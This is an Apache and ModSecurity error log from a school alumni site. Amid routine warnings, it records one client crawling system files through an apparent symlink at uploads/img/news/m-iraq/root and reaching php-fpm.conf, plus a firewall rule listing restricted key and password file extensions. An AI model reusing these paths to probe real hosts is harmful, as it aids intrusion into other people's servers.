[Fri Jul 17 09:18:58.400798 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:58.702795 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:58.802900 2026] [core:error] [pid 2030774:tid 2030774] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup6/device/subsystem/devices/device:02/eject
[Fri Jul 17 09:18:59.006265 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:59.108771 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:59.416378 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:59.618504 2026] [security2:error] [pid 2031172:tid 2031172] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup1/subsystem/wakeup16/device/dev"] [unique_id "almmK-jME1mgqYZ5O94qNwAAAAE"]
[Fri Jul 17 09:18:59.618546 2026] [security2:error] [pid 2031172:tid 2031172] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup1/subsystem/wakeup16/device/dev"] [unique_id "almmK-jME1mgqYZ5O94qNwAAAAE"]
[Fri Jul 17 09:18:59.727685 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:59.827134 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:59.937020 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:18:59.976681 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:60502] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:19:00.065826 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:00.546172 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:00.766151 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:01.016536 2026] [core:error] [pid 2030955:tid 2030955] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup7/device/subsystem/devices/device:1c/eject
[Fri Jul 17 09:19:01.127859 2026] [core:error] [pid 2018768:tid 2018768] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/clocksource/devices/clocksource0/subsystem/uevent
[Fri Jul 17 09:19:01.231281 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:02.006772 2026] [core:error] [pid 2018768:tid 2018768] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup0/device/subsystem/devices/device:1b/eject
[Fri Jul 17 09:19:02.049866 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:02.368335 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:02.572089 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:02.684326 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:32944] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:19:03.182366 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:03.612831 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:03.616076 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:04.058253 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:04.117194 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:04.626858 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:04.939295 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:05.039830 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:05.247195 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:05.956200 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:06.317693 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:33116] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:19:06.574314 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:07.077640 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:07.590984 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:08.107430 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:08.517337 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:08.719386 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:09.023587 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:09.428932 2026] [security2:error] [pid 1993572:tid 1993572] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/module/i2c_piix4/taint"] [unique_id "almmNYl9vhFBGA6D8l9-aAAAAAw"]
[Fri Jul 17 09:19:09.428977 2026] [security2:error] [pid 1993572:tid 1993572] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/module/i2c_piix4/taint"] [unique_id "almmNYl9vhFBGA6D8l9-aAAAAAw"]
[Fri Jul 17 09:19:09.631943 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:09.733116 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:09.832803 2026] [ssl:error] [pid 2031172:tid 2031172] (70014)End of file found: [client 66.85.158.91:33324] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:19:09.937258 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:10.369712 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:33354] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:19:10.755789 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:11.118495 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:11.138037 2026] [core:error] [pid 2036488:tid 2036488] (1)Operation not permitted: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/net/sockstat6
[Fri Jul 17 09:19:11.155683 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:11.238140 2026] [core:error] [pid 1993671:tid 1993671] (1)Operation not permitted: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/net/psched
[Fri Jul 17 09:19:11.641808 2026] [core:error] [pid 2034024:tid 2034024] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty45/subsystem/ttyS0/device/driver/bind
[Fri Jul 17 09:19:12.023400 2026] [core:error] [pid 2013797:tid 2013797] (1)Operation not permitted: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/net/netlink
[Fri Jul 17 09:19:12.052672 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:12.357187 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:12.455862 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:12.557135 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:12.756649 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:12.884544 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:13.072298 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:13.173760 2026] [core:error] [pid 2034024:tid 2034024] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup8/device/subsystem/devices/device:13/eject
[Fri Jul 17 09:19:13.280945 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:13.382384 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:13.483279 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:13.582854 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/usbmon/usbmon0/subsystem/usbmon1/device/remove
[Fri Jul 17 09:19:13.693792 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:13.776982 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:47082] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:19:13.798191 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:13.894876 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:13.990520 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:14.092113 2026] [core:error] [pid 2018757:tid 2018757] (1)Operation not permitted: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/net/packet
[Fri Jul 17 09:19:14.184651 2026] [ssl:error] [pid 2029866:tid 2029866] (70014)End of file found: [client 66.85.158.91:47112] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:19:14.271654 2026] [security2:error] [pid 2036488:tid 2036488] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almmOrEKozcCJ-ReuK0HHgAAAAg"], referer: http://anandaobauae.org/?C=S;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:19:14.271683 2026] [security2:error] [pid 2036488:tid 2036488] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almmOrEKozcCJ-ReuK0HHgAAAAg"], referer: http://anandaobauae.org/?C=S;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:19:14.301964 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:14.401461 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:14.502818 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:14.602741 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:14.900629 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:14.900730 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:14.900835 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:14.900919 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:14.930002 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:14.930191 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:15.001879 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:15.103449 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:15.205499 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:15.310059 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:15.413256 2026] [core:error] [pid 2013797:tid 2013797] (1)Operation not permitted: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/net/sockstat
[Fri Jul 17 09:19:15.499993 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:47158] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:19:15.930787 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:16.225421 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:16.425622 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:16.838165 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:17.549186 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:17.648895 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:17.861608 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:17.958918 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:18.059144 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:18.160067 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:18.260434 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:18.463253 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:18.867443 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:18.980231 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:19.176852 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:19.279168 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:19.286462 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:19.585728 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:19.790897 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:19.888469 2026] [core:error] [pid 2019501:tid 2019501] (1)Operation not permitted: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/net/netstat
[Fri Jul 17 09:19:19.989057 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:20.191145 2026] [core:error] [pid 2029579:tid 2029579] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/hid/drivers/magicmouse/bind
[Fri Jul 17 09:19:20.387870 2026] [security2:error] [pid 2036488:tid 2036488] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/fs/cgroup/cpuacct/lve1062/cpuacct.usage_percpu_sys"] [unique_id "almmQLEKozcCJ-ReuK0HJgAAAAg"]
[Fri Jul 17 09:19:20.387921 2026] [security2:error] [pid 2036488:tid 2036488] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/fs/cgroup/cpuacct/lve1062/cpuacct.usage_percpu_sys"] [unique_id "almmQLEKozcCJ-ReuK0HJgAAAAg"]
[Fri Jul 17 09:19:20.494807 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:20.711513 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:20.940551 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:20.992195 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:20.993556 2026] [proxy_fcgi:error] [pid 1993671:tid 1993671] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:19:21.304226 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:21.408954 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:21.531597 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:22.317650 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:22.371109 2026] [proxy_fcgi:error] [pid 2030774:tid 2030774] [client 20.195.181.252:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:19:22.533975 2026] [proxy_fcgi:error] [pid 2013829:tid 2013829] [client 20.195.181.252:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:19:22.862622 2026] [proxy_fcgi:error] [pid 2031172:tid 2031172] [client 20.195.181.252:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:19:23.067870 2026] [security2:error] [pid 2029579:tid 2029579] [client 216.73.216.245:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/opt/alt/php74/etc/php-fpm.conf"] [unique_id "almmQyRF0UOO1RzB5_8yhAAAAA4"]
[Fri Jul 17 09:19:23.068345 2026] [security2:error] [pid 2029579:tid 2029579] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/opt/alt/php74/etc/php-fpm.conf"] [unique_id "almmQyRF0UOO1RzB5_8yhAAAAA4"]
[Fri Jul 17 09:19:23.108826 2026] [security2:error] [pid 2029579:tid 2029579] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/opt/alt/php74/etc/php-fpm.conf"] [unique_id "almmQyRF0UOO1RzB5_8yhAAAAA4"]
[Fri Jul 17 09:19:23.420011 2026] [proxy_fcgi:error] [pid 2030774:tid 2030774] [client 20.195.181.252:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:19:23.455266 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:23.660738 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:23.754110 2026] [proxy_fcgi:error] [pid 2036488:tid 2036488] [client 20.195.181.252:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:19:23.759464 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:23.759536 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:23.759581 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:23.759633 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:23.759655 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:23.759690 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:23.759711 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:23.759732 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:23.759752 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:23.759788 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:23.759809 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:23.759829 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:23.759849 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:23.759869 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:23.759889 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:23.759908 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:23.759945 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:23.759965 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:23.760014 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:23.760035 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:23.760109 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:23.760142 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:23.760174 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:23.760194 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:24.241361 2026] [proxy_fcgi:error] [pid 2030774:tid 2030774] [client 20.195.181.252:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:19:24.379439 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:24.577096 2026] [proxy_fcgi:error] [pid 1993671:tid 1993671] [client 20.195.181.252:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:19:24.729420 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:25.059114 2026] [proxy_fcgi:error] [pid 2036488:tid 2036488] [client 20.195.181.252:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:19:25.123921 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:25.302843 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:25.331951 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:25.435879 2026] [proxy_fcgi:error] [pid 2030774:tid 2030774] [client 20.195.181.252:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:19:25.498260 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
